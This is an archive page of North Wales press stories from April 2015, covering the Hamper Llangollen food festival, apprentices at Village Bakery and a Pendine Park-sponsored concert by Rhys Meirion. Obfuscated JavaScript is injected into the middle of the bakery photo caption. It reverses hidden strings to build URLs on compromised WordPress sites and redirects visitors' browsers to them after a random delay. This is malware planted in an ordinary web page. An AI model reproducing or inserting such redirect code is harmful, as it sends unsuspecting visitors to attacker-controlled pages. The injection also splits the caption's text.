Monthly Archives: 12:51 PM

Tourism boss launches appeal for new products for top Welsh food festival

Ken Skates AM, Deputy Minister for Culture, Sport and Tourism shows his support for Hamper Llangollen with Colin Loughlin

A flourishing food festival is offering to showcase the products of new food and drink producers – and the appeal is being backed by the Welsh tourism minister.

Hamper Llangollen boasts an enviable track record as one of the UK’s most popular food events and one that has been a successful platform for innovative new food and drink from North Wales.

The two-day October festival has helped launch successful products like the Aberffraw biscuit, Blodyn Aur extra virgin rapeseed oil and the Dangerous Food Company’s chilli jam.

It is expected that this year’s 19th annual event will again attract thousands visitors to browse over 120 stalls at Llangollen’s Royal International Pavilion.

That’s music to the ears of Ken Skates, the Welsh Government’s Deputy Minister for Culture, Tourism and Sport, in whose Clwyd South constituency the event takes place on Saturday and Sunday, October 17 and 18.

He said: “Hamper Llangollen is an incredible success and a great annual occasion for the Dee Valley.

“I’m particularly pleased that there’s a focus on encouraging new exhibitors and giving prominence to the many outstanding food and drink producers in North Wales for whom it is a fantastic opportunity to showcase their unique and delicious products.

“Food tourism is proving to be big business and we are delighted to welcome thousands of visitors each year, many of them from England, to see some of the fantastic landscape and heritage we have and enjoy the best of food and drink.

“The Area of Outstanding Natural Beauty was recently extended through the Dee Valley and visitors are able to enjoy the phenomenal hills, mountains, rivers and valleys where this wonderful food is produced.”

Over the years the festival has introduced the public to a range of different and innovative foods as well as boasting household names like Patchwork Pate and Halen Mon Anglesey Sea Salt among its exhibitors.

It has also been named one of the UK’s Top Ten food festivals by national newspaper The Independent and each year it generates over £400,000 for the local economy.

Hamper Llangollen chairman Colin Loughlin said: “We are very keen to hear from new producers as we have been very successful in helping launch some amazing products.

“We have special rates for new products and even a special section of the festival especially for them where we can give them prominence.

“They are the lifeblood of events like this and we appreciate the importance of making sure the event is always fresh and has something new to taste.

“Last year we had South African dunking biscuits and they were very successful and I’m pleased to say that they’re back again this year.

“We want to promote the fact that the facilities are here for producers so that they can show off their new products to an appreciative public and we are also careful to make sure that we don’t have more than two of any one kind of producer.”

The one area he would like to see better represented is vegetables: “Perhaps it’s the time of year but I would really like to see more of them on show in all sorts of forms and we’d love to hear from growers and indeed any new producers.”

For more information on Hamper Llangollen go to

Wednesday April 29th, 2015


Bakery’s golden generation honoured at one of the best companies in Wales

Village Bakery Chairman Alan Jones and Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($Bhq(0), delay);}tor Christien Jones (RIGHT) with Ken Skates AM (front centre)  and Apprentices and staff from the Village Bakery and Coleg Cambria.

A “golden generation” of apprentices have been honoured for helping to turn a family run bakery into a massive success story.

The apprentices past and present from the Village Bakery were given special silver and gold pins commissioned from leading jewellers Boodles of Chester.

They were presented at the firm’s bakery in Minera, near Wrexham, by Clwyd South AM Ken Skates, who is also the Minister for Culture, Tourism and Sport, who praised the Village Bakery as one of the best companies in Wales.

The family-run bakery employs nearly 400 people and has two other bakeries on Wrexham Industrial Estate where they are building their new £4 million Baking Academy and Innovation Centre to create the next generation of bakers.

More than 20 current and former apprentices received certificates at the ceremony with 15 of those who have come up through the ranks also receiving a special presentation.

The special V for Village pins were given to those who have completed their Level 3 NQQ qualifications.

Many of the former apprentices are now senior managers at the bakery that was last year named as the fastest growing manufacturer in Wales.

The pins are of solid silver with a golden ear of corn and Village Bakery Chairman Alan Jones said: “It makes me very proud to be here today to hand over these beautiful pins. This is the start for you, not the end, so go for it. You are our golden generation.

“Training our own staff has always been a strength of ours – we then make sure we have staff who buy in to the Village Bakery culture.”

It was a sentiment echoed by son Christien, who is also a director of the Village Bakery.

He said: “We are family focused, people focused and most of our managers and supervisors are Village Bakery people who have come up through the ranks.

“We have enjoyed some excellent, sustainable growth and we have a brilliant team on all three sites which gives us the confidence to go from strength to strength.”

Ken Skates, who made the presentations said: “Village Bakery are one of the best employers anywhere in Wales and that was shown last year with the St David Award.

“When I was Deputy Minister for Skills and Technology I learned so much about the value of vocational pathways and the average apprenticeship is worth the equivalent of a 2:1 university degree and I expect that for you it will be worth so much more because of the company you are working for.

“Since I was last here I’ve been eating far too many of your pies but I love coming here and that’s because of the people and it’s great to see your investment in people bringing such success.”

One of the recipients, Kerry Wilson, 41, from Tan y Fron, Wrexham, started as an apprentice at 16 and is now a production manager and he said: “A lot of the people here at the company started as apprentices and as the company has grown they have been able to progress.

“Alan was the boss and I’ve grown up with his sons, Robin and Christien, who are directors and they’re my friends as well as my employers. They’re so approachable.

“It’s worked well for the company to bring people through from within rather than recruit from outside. It means there’s a real local link to the company.”

Daryl Stephenson, 36, from Ruabon, qualified as a baker last year and he said: “They’re a great company to work for. They really invest in us and there’s not many places where the chairman will just come up and talk to you.

“Since I’ve completed my apprenticeship I’ve moved on into new product development so it has really worked for me.”

Tom Jackson, 20, from Coedpoeth, completed his Level Two last year and is working on Level Three and he said: “I was taken on two years ago and it’s gone from strength to strength and the way the directors get involved makes the company stand out.

“There’s a good career path and I want to progress and work my way up and take my opportunities.”

Village Bakery has up to 20 apprentices at Coleg Cambria in Wrexham each year and Carolyn Preece, the college’s Work-based Manager for Food Manufacture, said: “We have developed a very good relationship with Village Bakery over the last few years.

“They’re a very well respected firm. They’re very family-oriented and also very professional and very proactive and educating their staff is very important to them and they are reaping the reward.”

Monday April 27th, 2015


Top tenor Rhys delivers triple tonic

Pendine Parks  Tonic concert. Pictured is Pendine Park chief executive Gwynfor Jones with Rhys Meirion and his Daughters Elan,16 and Erin,13 at Galeri Caernarfon

A sell-out audience at were treated to a triple tonic.

The concert at Galeri in Caernarfon starred top tenor Rhys Merion and his two daughters Elan, 16, and Erin, 13.

Pendine Parks  Tonic concert. Pictured during a quick rehearsal is Rhys Meirion Pianist Annette Bryn Parry and Rhys Meirions' Daughter Erin,13 at Galeri Caernarfon

The performance by was part monthly programme of concerts called TONIC offering older people an opportunity to enjoy the arts.

The programme has been sponsored by the Pendine Park care organisation that’s also supporting a range of other arts-related events at Galeri.

Pendine Park is building a new £7m centre of excellence for people with dementia on the site of the former Bryn Seiont Community Hospital in Caernarfon. It’s due to open in the Autumn.

Rhys Meirion, who hails originally from Porthmadog, says the TONIC programme is vitally important as it gives older people the chance to enjoy a range of music and performers during the early afternoon.

Pendine Parks  Tonic concert. Pictured during a quick rehearsal is Rhys Meirion and Pianist Annette Bryn Parry at Galeri Caernarfon

He said: “TONIC is a fantastic programme as it gives some older people, who don’t like to, or who are unable to, come out in the evening a chance to enjoy music and the arts.

“It means they are not excluded from enjoying performances and the fact the concerts are invariably sold out shows how important they are to the Caernarfon public.

“However, without sponsorship from Pendine Park care organisation I’m sure the programme wouldn’t be as healthy, secure or successful as it is. I’m impressed with Pendine Park’s commitments to the arts whether it’s music, painting or even photography.

“Sponsorship from Pendine Park means the older people who attend TONIC events can do so because the tickets are at a price they can afford and that’s vital.”

He added: “This isn’t the first time Elan and Erin have joined me on stage and performed in their own right. They really enjoy what they do and in truth we are a very musical family.

“There is a lot of singing in the Meirion household! As well as Elan and Erin, my wife, Nia, is in a choir and my son, Osian also sings. It’s always a proud moment seeing Elan and Erin on stage and audiences always seem to warm to them.

“We performed a range of music from opera to music from stage shows, accompanied by pianist Annette Bryn Parry. It’s always a pleasure to perform for a North Wales audience.”

Pendine Park spokesman Gwynfor Jones is thrilled the TONIC programme is able to attract stellar performers such as Rhys Meirion.

He said: “Pendine Park is committed to the arts and we know the benefits it can bring to our clients and residents.

“It’s especially important to us to be involved programmes such as TONIC in the Caernarfon area ahead of the opening of our new Bryn Seiont centre in October.

“And we are absolutely delighted to see so many, particularly older people, coming out and enjoying the TONIC performances at Galeri Caernarfon.”

Galeri Caernarfon marketing manager Steffan Thomas said: “We are thrilled with the TONIC programme and Pendine Park’s sponsorship.

“Every monthly performance is either sold out, or very close to sold out, which shows just how popular the concerts are.

“Today, prior to Rhys Meirion’s concert we were able to show a new short film explaining a little about Pendine Park’s commitment to the arts and of course the quality of care they are committed to.”

Life-long friends Marian Wagner, 68, of Groeslon, and Buddug Jones, 69, of Caernarfon, say they never miss a TONIC performance.

Buddug, who is registered blind and takes her guide dog Freya along to enjoy the show, said: “Marian and I have been friends from birth and grew up very close. We really enjoy coming to every TONIC performance and never miss.

“We don’t pick and choose which concerts we come to we come to them all, its great to enjoy what is a wide choice of music.

“I’m particularly looking forward to Rhys Meirion’s performance as I’ve followed his career closely and been to several eisteddfods to listen to him perform.”

She added: “I think it’s wonderful that Pendine Park care organisation is supporting the TONIC programme through sponsorship. The concerts are very important for people like Marian and I especially as they are held in the early afternoon.”

Marian added: “Buddug, Freya, her guide dog, and I never miss a TONIC performance and I think everyone is so pleased Pendine Park has sponsored the programme of concerts.

“It really is important for older people to get out and have a chance of watching and listening to music being performed and being able to buy tickets at reasonable prices.

“But that’s only possible thanks to the sponsorship from Pendine Park care organisation. And I think everyone who comes along to TONIC events is really grateful.”

Friday April 24th, 2015